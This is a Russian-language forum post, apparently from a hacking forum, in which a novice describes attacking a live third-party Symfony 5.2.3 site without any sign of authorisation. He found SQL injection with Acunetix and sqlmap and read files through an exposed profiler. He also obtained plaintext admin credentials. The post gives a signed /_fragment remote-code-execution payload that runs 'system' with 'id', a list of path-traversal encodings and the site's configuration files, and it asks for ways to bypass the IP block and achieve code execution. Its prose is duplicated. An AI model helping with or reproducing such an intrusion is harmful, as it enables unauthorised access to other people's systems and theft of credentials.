Всем привет!
Признаюсь честно, два дня пытался создать эту тему. Каждый раз, пока задавал вопрос, понимал направление в котором двигаться и шел допроверять данные, чтобы попытаться уточнить вопросы. Понимаю, что подобным способом, может быть, когда-то докопаюсь до цели. Но факт... и чем дальше копаю, тем больше тем для разбора... боюсь не вывезу))) Причем, огромная часть будет совершенно не нужна и просто съест время. Ну и мжет быть... кому-то из таких же новичков тема может быть крайне полезна и нужна как воздух. В общем, прошу не ругаться, а подсказать.
Акуникс подкинул сайт с sqli. Натравил на него мап и пошел осматриваться. В процессе исследования сайта, наткнулся на папку /_profiler/, оказалось, что это профайлер Symfony. точнее версии 5.2.3. Оказалось, что через него можно много чего увидеть. От полных данных по запросам, до PHPINFO и параметров сервера.
Сейчас у меня есть адрес админки сайта, есть в открытом виде логин и пароль Совсем свежие запросы, в которых указаны все или почти все данные. Но не хватает знаний, чтобы раскрутить уязвимость до чего-то серьезного. Зайти в админку не дает - 403 Forbidden. Вероятнее всего, ограничение по IP.
Через читалку файлов .../_profiler/open?file=... , нашел много чего интересного. В том чилсе, вот такой кусок кода, который и намекает на возможный белый список IP:
Пробовал подставить значения x-forwarded-for и x-real-ip, так как эти заголовки есть в успешных запросах к сайту — результат никакой. 127.0.0.1 и localhost тоже не дали результата. В целом, пытался запросы полностью копировать, но похоже айпи прописываются в какой-то .env, к которому нет доступа. К слову, читать файлы начинающиеся с точки не дает. Проверяет регуляркой
Может кто сталкивался с ограничением, есть какие-то варианты его обойти? Хотя бы понять, что именно ограничивает и по какой причине. IP, с которого заходил админ, проверил - принадлежит Zomro. Похоже VDS. Вполне мжет быть, что там поднят VPN или RDP. Сканирую на предмет уязвимостей. Пока это фантазийный вариант, но вдруг?
Возможно есть какие-то еще варианты?
Пробовал уязвимость с /_fragment. За основу использовал эту статью Secret fragments: Remote code execution on Symfony based websites. Не прокатило. Нашел путь к папке _fragment, сделал все по инструкции наподобие:
И снова уперся в 403. Скорее всего, по той же причине - trusted_proxies & trusted_hosts.
Пробовал фрагмент без админки, в ответ 404. С хэшем, без хэша. Есть вероятность, что при генерации хэша ожидается какой-то другой домен... но в доступной мне истории реквестов домены совпадают (да, доменЫ, т.к. там целая россыпь сайтов на нескольких серверах и все одинаковые). Пробовал все известные мне домены использовать для хеширвоания, с http и https. Результат одинаковый - без админки в пути выдает 404, с админкой 403.
Но опять же, в файле framework.yaml, строчка с фрагментом закомментирована: #fragments: true
Натыкался, что можно прочитать файл /app/config/parameters.php. Не смог найти. В моем случае папки app, судя по всему, нет. Есть папки: config, var, src, vendor, public. В их корне и в подпапке config нет файла parameters.php. Либо он недоступен для чтения. Пробовал вместо php подставить yml и yaml, так же ничего не открылось. Эти два расширеняи использовал по причине того, что нашел целый ряд файлов yml и yaml. В них, казалось бы, полезные данные, но они особо ничего мне не дали. Например, дающий надежду docker-compose.yml:
Вижу, что второй базой стоит PostgreSQL. Второй потому как на сайт вышел через SQLi найденную окунем. Из базы данные прекрасно вытаскиваются и sqlmap зуб дает, что там MySQL. Плюс, в логах реквестов в настройках сервера указана именно mysql. Хотя сейчас появилась мысль попробовать инжектить Что-то из серии "; UPDATE... #" и посмотреть, будут ли изменения в базе данных. Вдруг SQLMAP ошибаетяс и там реально psql, а он поддерживает последовательное выполнение команд в связке с PHP, в отличии от MySQL.
В целом, удалось прочитать: services.yaml, framework.yaml, composer.json, composer.phar, routes.yaml, security.yaml, а так же любой php файл в рамках доступных папок (src, vendor, public, var, config). Но значимых подсказок не нашел. Либо в упор их не вижу.
Пытался обойти ограничения читалки .../_profiler/open?file=..., на возможность выхода в дирректорию уровнем выше (../) и чтение файлов по типу .htaccess или .env.. Не получилось, пробовал всеми перечисленными на OWASP способами.
Вот, кстати, конфигурационные файлы, до которых добрался:
Есть еще такой интересный файл PHP, но он особо мне не помог, т.к. не понимаю, где взять названия packages и routes, а так же какие внутри них файлы yaml искать. Что не подставлял, все мимо.
Завершая писанину подытожу свои вопросы:
1. Есть ли какие-то варианты обойти 403 и попасть в админку? Хотя бы направления в которые стоит смотреть.
2. Может подскажете вектора атаки? Куда еще можно посмотреть, чтобы дожать и добраться до выполнения кода,? В идеале, конечно.
3. Какие еще поискать файлы, которые могут дать подсказки и ценную информацию? К сожалению, никак не могу заставить symfony создать проект, чтобы хотя бы познакомитьяс со структурой файлов. Возникают ошибки от symfony и composer, героически с ними борюсь, надеюсь в ближайшее время все заработает.
Заранее спасибо!
Признаюсь честно, два дня пытался создать эту тему. Каждый раз, пока задавал вопрос, понимал направление в котором двигаться и шел допроверять данные, чтобы попытаться уточнить вопросы. Понимаю, что подобным способом, может быть, когда-то докопаюсь до цели. Но факт... и чем дальше копаю, тем больше тем для разбора... боюсь не вывезу))) Причем, огромная часть будет совершенно не нужна и просто съест время. Ну и мжет быть... кому-то из таких же новичков тема может быть крайне полезна и нужна как воздух. В общем, прошу не ругаться, а подсказать.
Акуникс подкинул сайт с sqli. Натравил на него мап и пошел осматриваться. В процессе исследования сайта, наткнулся на папку /_profiler/, оказалось, что это профайлер Symfony. точнее версии 5.2.3. Оказалось, что через него можно много чего увидеть. От полных данных по запросам, до PHPINFO и параметров сервера.
Сейчас у меня есть адрес админки сайта, есть в открытом виде логин и пароль Совсем свежие запросы, в которых указаны все или почти все данные. Но не хватает знаний, чтобы раскрутить уязвимость до чего-то серьезного. Зайти в админку не дает - 403 Forbidden. Вероятнее всего, ограничение по IP.
Через читалку файлов .../_profiler/open?file=... , нашел много чего интересного. В том чилсе, вот такой кусок кода, который и намекает на возможный белый список IP:
PHP:
ini_set('upload_max_filesize', '20M');
use App\Kernel;
use Symfony\Component\Dotenv\Dotenv;
use Symfony\Component\ErrorHandler\Debug;
use Symfony\Component\HttpFoundation\Request;
require dirname(__DIR__).'/vendor/autoload.php';
(new Dotenv())->bootEnv(dirname(__DIR__).'/.env');
if ($_SERVER['APP_DEBUG']) {
umask(0000);
Debug::enable();
}
if ($trustedProxies = $_SERVER['TRUSTED_PROXIES'] ?? false) {
Request::setTrustedProxies(explode(',', $trustedProxies), Request::HEADER_X_FORWARDED_ALL ^ Request::HEADER_X_FORWARDED_HOST);
}
if ($trustedHosts = $_SERVER['TRUSTED_HOSTS'] ?? false) {
Request::setTrustedHosts([$trustedHosts]);
}
$kernel = new Kernel($_SERVER['APP_ENV'], (bool) $_SERVER['APP_DEBUG']);
$request = Request::createFromGlobals();
$response = $kernel->handle($request);
$response->send();
$kernel->terminate($request, $response);
Пробовал подставить значения x-forwarded-for и x-real-ip, так как эти заголовки есть в успешных запросах к сайту — результат никакой. 127.0.0.1 и localhost тоже не дали результата. В целом, пытался запросы полностью копировать, но похоже айпи прописываются в какой-то .env, к которому нет доступа. К слову, читать файлы начинающиеся с точки не дает. Проверяет регуляркой
PHP:
preg_match('(^|[/\\\\])\.', $file) //файл потерял, но регулярку саму помню
Возможно есть какие-то еще варианты?
Пробовал уязвимость с /_fragment. За основу использовал эту статью Secret fragments: Remote code execution on Symfony based websites. Не прокатило. Нашел путь к папке _fragment, сделал все по инструкции наподобие:
Bash:
$ page="http://site.com/admin/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull"
$ python -c "import base64, hmac, hashlib; print(base64.b64encode(hmac.HMAC(b'secrtet_key_from_profiler', b'$page', hashlib.sha256).digest()))"
Пробовал фрагмент без админки, в ответ 404. С хэшем, без хэша. Есть вероятность, что при генерации хэша ожидается какой-то другой домен... но в доступной мне истории реквестов домены совпадают (да, доменЫ, т.к. там целая россыпь сайтов на нескольких серверах и все одинаковые). Пробовал все известные мне домены использовать для хеширвоания, с http и https. Результат одинаковый - без админки в пути выдает 404, с админкой 403.
Но опять же, в файле framework.yaml, строчка с фрагментом закомментирована: #fragments: true
Натыкался, что можно прочитать файл /app/config/parameters.php. Не смог найти. В моем случае папки app, судя по всему, нет. Есть папки: config, var, src, vendor, public. В их корне и в подпапке config нет файла parameters.php. Либо он недоступен для чтения. Пробовал вместо php подставить yml и yaml, так же ничего не открылось. Эти два расширеняи использовал по причине того, что нашел целый ряд файлов yml и yaml. В них, казалось бы, полезные данные, но они особо ничего мне не дали. Например, дающий надежду docker-compose.yml:
Bash:
version: '3'
services:
database:
image: postgres:11-alpine
environment:
POSTGRES_USER: main
POSTGRES_PASSWORD: main
POSTGRES_DB: main
ports: [5432]
networks:
default:
external:
name: my-pre-existing-network
В целом, удалось прочитать: services.yaml, framework.yaml, composer.json, composer.phar, routes.yaml, security.yaml, а так же любой php файл в рамках доступных папок (src, vendor, public, var, config). Но значимых подсказок не нашел. Либо в упор их не вижу.
Пытался обойти ограничения читалки .../_profiler/open?file=..., на возможность выхода в дирректорию уровнем выше (../) и чтение файлов по типу .htaccess или .env.. Не получилось, пробовал всеми перечисленными на OWASP способами.
Bash:
%2e%2e%2f #../
%2e%2e/ #../
..%2f #../
%2e%2e%5c #..\
%2e%2e\ #..\
..%5c #..\
%252e%252e%255c #..\
..%255c #..\
..%c0%af/ #../
..%c1%9c #..\
Вот, кстати, конфигурационные файлы, до которых добрался:
Bash:
# This file is the entry point to configure your own services.
# Files in the packages/ subdirectory configure your dependencies.
# Put parameters here that don't need to change on each machine where the app is deployed
# https://symfony.com/doc/current/best_practices/configuration.html#application-related-configuration
parameters:
uploads_directory: '%kernel.project_dir%/public/uploads'
import_dir: '%kernel.project_dir%/public/uploads/import'
users_public: '%kernel.project_dir%/public/uploads/users'
users_directory: '%kernel.project_dir%/public/uploads/users'
app.table_prefix: admin_
services:
# default configuration for services in *this* file
_defaults:
autowire: true # Automatically injects dependencies in your services.
autoconfigure: true # Automatically registers your services as commands, event subscribers, etc.
public: true
# makes classes in src/ available to be used as services
# this creates a service per class whose id is the fully-qualified class name
App\:
resource: '../src/'
exclude:
- '../src/DependencyInjection/'
- '../src/Entity/'
- '../src/Kernel.php'
- '../src/Tests/'
# controllers are imported separately to make sure services can be injected
# as action arguments even if you don't extend any base controller class
App\Controller\:
resource: '../src/Controller/'
tags: ['controller.service_arguments']
# add more service definitions when explicit configuration is needed
# please note that last definitions always *replace* previous ones
App\Service\FileUploader:
arguments:
$targetDirectory: '%users_directory%'
App\Service\UserService:
arguments:
$container: '@service_container'
App\EventSubscriber\TablePrefixSubscriber:
arguments: [ '%app.table_prefix%' ]
tags:
- { name: doctrine.event_subscriber }
app.cat_namer:
class: App\Service\ImageUploadNamer
Bash:
# see https://symfony.com/doc/current/reference/configuration/framework.html
framework:
secret: '%env(APP_SECRET)%'
#csrf_protection: true
#http_method_override: true
# Enables session support. Note that the session will ONLY be started if you read or write from it.
# Remove or comment this section to explicitly disable session support.
session:
handler_id: null
cookie_secure: auto
cookie_samesite: lax
#esi: true
#fragments: true
php_errors:
log: true
JSON:
{
"type": "project",
"license": "proprietary",
"require": {
"php": ">=7.4",
"ext-ctype": "*",
"ext-iconv": "*",
"composer/package-versions-deprecated": "^1.11",
"doctrine/doctrine-bundle": "^2.1",
"doctrine/doctrine-migrations-bundle": "^3.0",
"doctrine/orm": "^2.7",
"knplabs/knp-paginator-bundle": "^5.4",
"oneup/uploader-bundle": "^3.0",
"phpoffice/phpspreadsheet": "^1.14",
"sensio/framework-extra-bundle": "^5.6",
"symfony/asset": "5.*",
"symfony/console": "5.*",
"symfony/css-selector": "5.*",
"symfony/dom-crawler": "5.*",
"symfony/dotenv": "5.*",
"symfony/flex": "^1.3.1",
"symfony/form": "5.*",
"symfony/framework-bundle": "5.*",
"symfony/mime": "5.*",
"symfony/monolog-bundle": "^3.6",
"symfony/security-bundle": "5.*",
"symfony/serializer": "5.*",
"symfony/twig-bundle": "^5",
"symfony/validator": "5.*",
"symfony/yaml": "5.*",
"twig/extra-bundle": "^2.12|^3.0",
"twig/twig": "^2.12|^3.0",
"ext-memcached": "*"
},
"require-dev": {
"doctrine/doctrine-fixtures-bundle": "^3.3",
"symfony/debug-bundle": "^5",
"symfony/maker-bundle": "^1.21",
"symfony/stopwatch": "^5",
"symfony/var-dumper": "^5",
"symfony/web-profiler-bundle": "^5"
},
"config": {
"optimize-autoloader": true,
"preferred-install": {
"*": "dist"
},
"sort-packages": true
},
"autoload": {
"psr-4": {
"App\\": "src/"
}
},
"autoload-dev": {
"psr-4": {
"App\\Tests\\": "tests/"
}
},
"replace": {
"paragonie/random_compat": "2.*",
"symfony/polyfill-ctype": "*",
"symfony/polyfill-iconv": "*",
"symfony/polyfill-php72": "*",
"symfony/polyfill-php71": "*",
"symfony/polyfill-php70": "*",
"symfony/polyfill-php56": "*"
},
"scripts": {
"auto-scripts": {
"cache:clear": "symfony-cmd",
"assets:install %PUBLIC_DIR%": "symfony-cmd"
},
"post-install-cmd": [
"@auto-scripts"
],
"post-update-cmd": [
"@auto-scripts"
]
},
"conflict": {
"symfony/symfony": "*"
},
"extra": {
"symfony": {
"allow-contrib": false,
"require": "5.*"
}
}
}
Bash:
#index:
# path: /
# controller: App\Controller\DefaultController::index
oneup_uploader:
resource: .
type: uploader
Bash:
security:
encoders:
App\Entity\Admin:
algorithm: auto
# https://symfony.com/doc/current/security.html#where-do-users-come-from-user-providers
providers:
# used to reload user from session & other features (e.g. switch_user)
app_user_provider:
entity:
class: App\Entity\Admin
property: email
firewalls:
dev:
pattern: ^/(_(profiler|wdt)|css|images|js)/
security: false
main:
anonymous: true
lazy: true
provider: app_user_provider
guard:
authenticators:
- App\Security\AppAuthenticator
logout:
path: app_logout
# where to redirect after logout
target: adminhome
# ...
remember_me:
secret: '%kernel.secret%'
lifetime: 604800 # 1 week in seconds
path: /admin_
# by default, the feature is enabled by checking a
# checkbox in the login form (see below), uncomment the
# following line to always enable it.
#always_remember_me: true
# activate different ways to authenticate
# https://symfony.com/doc/current/security.html#firewalls-authentication
# https://symfony.com/doc/current/security/impersonating_user.html
# switch_user: true
# Easy way to control access for large sections of your site
# Note: Only the *first* access control that matches will be used
access_control:
- { path: ^/admin_/login, roles: [] }
- { path: ^, roles: ROLE_ADMIN }
Есть еще такой интересный файл PHP, но он особо мне не помог, т.к. не понимаю, где взять названия packages и routes, а так же какие внутри них файлы yaml искать. Что не подставлял, все мимо.
PHP:
namespace App;
use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
use Symfony\Component\HttpKernel\Kernel as BaseKernel;
use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
class Kernel extends BaseKernel
{
use MicroKernelTrait;
protected function configureContainer(ContainerConfigurator $container): void
{
$container->import('../config/{packages}/*.yaml');
$container->import('../config/{packages}/'.$this->environment.'/*.yaml');
if (is_file(\dirname(__DIR__).'/config/services.yaml')) {
$container->import('../config/{services}.yaml');
$container->import('../config/{services}_'.$this->environment.'.yaml');
} elseif (is_file($path = \dirname(__DIR__).'/config/services.php')) {
(require $path)($container->withPath($path), $this);
}
}
protected function configureRoutes(RoutingConfigurator $routes): void
{
$routes->import('../config/{routes}/'.$this->environment.'/*.yaml');
$routes->import('../config/{routes}/*.yaml');
if (is_file(\dirname(__DIR__).'/config/routes.yaml')) {
$routes->import('../config/{routes}.yaml');
} elseif (is_file($path = \dirname(__DIR__).'/config/routes.php')) {
(require $path)($routes->withPath($path), $this);
}
}
}
Завершая писанину подытожу свои вопросы:
1. Есть ли какие-то варианты обойти 403 и попасть в админку? Хотя бы направления в которые стоит смотреть.
2. Может подскажете вектора атаки? Куда еще можно посмотреть, чтобы дожать и добраться до выполнения кода,? В идеале, конечно.
3. Какие еще поискать файлы, которые могут дать подсказки и ценную информацию? К сожалению, никак не могу заставить symfony создать проект, чтобы хотя бы познакомитьяс со структурой файлов. Возникают ошибки от symfony и composer, героически с ними борюсь, надеюсь в ближайшее время все заработает.
Заранее спасибо!
Последнее редактирование: